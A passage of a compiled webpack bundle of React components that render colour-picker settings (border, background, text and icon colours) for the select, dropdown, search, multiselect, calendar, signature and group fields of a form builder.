						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-border-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-icon-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-value-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-border-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-icon-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-value-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Focus'),
						value: 'focus'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-border-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-icon-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-value-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					}))
				),
				this.props.formDesign !== 'material' && _react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Error'),
						value: 'error'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'select-border-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						isAlpha: true
					}))
				)
			);
		}
	}]);

	return SelectColors;
}(_react.Component);

exports.default = SelectColors;

/***/ }),
/* 270 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var DropdownColors = function (_Component) {
	_inherits(DropdownColors, _Component);

	function DropdownColors(props) {
		_classCallCheck(this, DropdownColors);

		return _possibleConstructorReturn(this, (DropdownColors.__proto__ || Object.getPrototypeOf(DropdownColors)).call(this, props));
	}

	_createClass(DropdownColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					this.props.formDesign !== 'flat' && this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-border',
						label: (0, _utils.translate)('Container border'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-background',
						label: (0, _utils.translate)('Container BG'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-color-static',
						label: (0, _utils.translate)('Option color')
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
						property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-background-hover',
						label: (0, _utils.translate)('Option background'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
						property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-color-hover',
						label: (0, _utils.translate)('Option color')
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Selected'),
						value: 'selected'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-background-active',
						label: (0, _utils.translate)('Option background'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
						property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-option-color-active',
						label: (0, _utils.translate)('Option color')
					}))
				)
			);
		}
	}]);

	return DropdownColors;
}(_react.Component);

exports.default = DropdownColors;

/***/ }),
/* 271 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SearchColors = function (_Component) {
	_inherits(SearchColors, _Component);

	function SearchColors(props) {
		_classCallCheck(this, SearchColors);

		return _possibleConstructorReturn(this, (SearchColors.__proto__ || Object.getPrototypeOf(SearchColors)).call(this, props));
	}

	_createClass(SearchColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				this.props.formDesign !== 'flat' && this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
					property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-search-border',
					label: (0, _utils.translate)('Border color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
					property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-search-background',
					label: (0, _utils.translate)('Background color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
					property: (0, _utils.getThemePrefix)(this.props) + 'dropdown-search-color',
					label: (0, _utils.translate)('Text color')
				}))
			);
		}
	}]);

	return SearchColors;
}(_react.Component);

exports.default = SearchColors;

/***/ }),
/* 272 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var MultiSelectColors = function (_Component) {
	_inherits(MultiSelectColors, _Component);

	function MultiSelectColors(props) {
		_classCallCheck(this, MultiSelectColors);

		return _possibleConstructorReturn(this, (MultiSelectColors.__proto__ || Object.getPrototypeOf(MultiSelectColors)).call(this, props));
	}

	_createClass(MultiSelectColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border',
						label: this.props.formDesign !== 'material' ? (0, _utils.translate)('Container border') : (0, _utils.translate)('Option border'),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-background',
						label: (0, _utils.translate)('Container BG'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-color-static',
						label: (0, _utils.translate)('Option color')
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border-hover',
						label: (0, _utils.translate)('Option border'),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-bg-hover',
						label: (0, _utils.translate)('Option background'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-color-hover',
						label: (0, _utils.translate)('Option color')
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Selected'),
						value: 'selected'
					},
					this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border-active',
						label: (0, _utils.translate)('Option border'),
						isAlpha: true
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-bg-active',
						label: (0, _utils.translate)('Option background'),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: this.props.formDesign !== 'material' ? '#FFFFFF' : '#17A8E3',
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-item-color-active',
						label: (0, _utils.translate)('Option color')
					}))
				),
				this.props.formDesign !== 'material' && _react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Error'),
						value: 'error'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiselect-border-error',
						label: (0, _utils.translate)('Container border'),
						isAlpha: true
					}))
				)
			);
		}
	}]);

	return MultiSelectColors;
}(_react.Component);

exports.default = MultiSelectColors;

/***/ }),
/* 273 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var CalendarColors = function (_Component) {
	_inherits(CalendarColors, _Component);

	function CalendarColors(props) {
		_classCallCheck(this, CalendarColors);

		return _possibleConstructorReturn(this, (CalendarColors.__proto__ || Object.getPrototypeOf(CalendarColors)).call(this, props));
	}

	_createClass(CalendarColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'container',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Container'),
						value: 'container'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: this.props.formDesign !== '' ? (0, _utils.translate)('Border') : (0, _utils.translate)('Header background'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-border',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: this.props.formDesign !== '' ? (0, _utils.translate)('Background') : (0, _utils.translate)('Main background'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-background',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Navigation'),
						value: 'navigation'
					},
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Arrows background'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-arrows-bg',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Arrows color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-arrows-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
						isAlpha: true
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Select'),
						value: 'select'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-select-border',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#BBBBBB"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-select-bg',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-select-color',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					}))
				)
			);
		}
	}]);

	return CalendarColors;
}(_react.Component);

exports.default = CalendarColors;

/***/ }),
/* 274 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Signature = function (_Component) {
	_inherits(Signature, _Component);

	function Signature(props) {
		_classCallCheck(this, Signature);

		return _possibleConstructorReturn(this, (Signature.__proto__ || Object.getPrototypeOf(Signature)).call(this, props));
	}

	_createClass(Signature, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						value: 'default',
						label: (0, _utils.translate)('Default')
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-border-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-background-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Placeholder'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-placeholder',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Signature Color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-color',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Reset icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-reset-icon-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						value: 'hover',
						label: (0, _utils.translate)('Hover')
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-border-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Reset icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-reset-icon-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						value: 'error',
						label: (0, _utils.translate)('Error')
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'signature-border-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562")
					}))
				)
			);
		}
	}]);

	return Signature;
}(_react.Component);

exports.default = Signature;

/***/ }),
/* 275 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var GroupColors = function (_Component) {
	_inherits(GroupColors, _Component);

	function GroupColors(props) {
		_classCallCheck(this, GroupColors);

		return _possibleConstructorReturn(this, (GroupColors.__proto__ || Object.getPrototypeOf(GroupColors)).call(this, props));
	}

	_createClass(GroupColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "rgba(248,248,248,.5)"),
					property: (0, _utils.getThemePrefix)(this.props) + 'group-background',
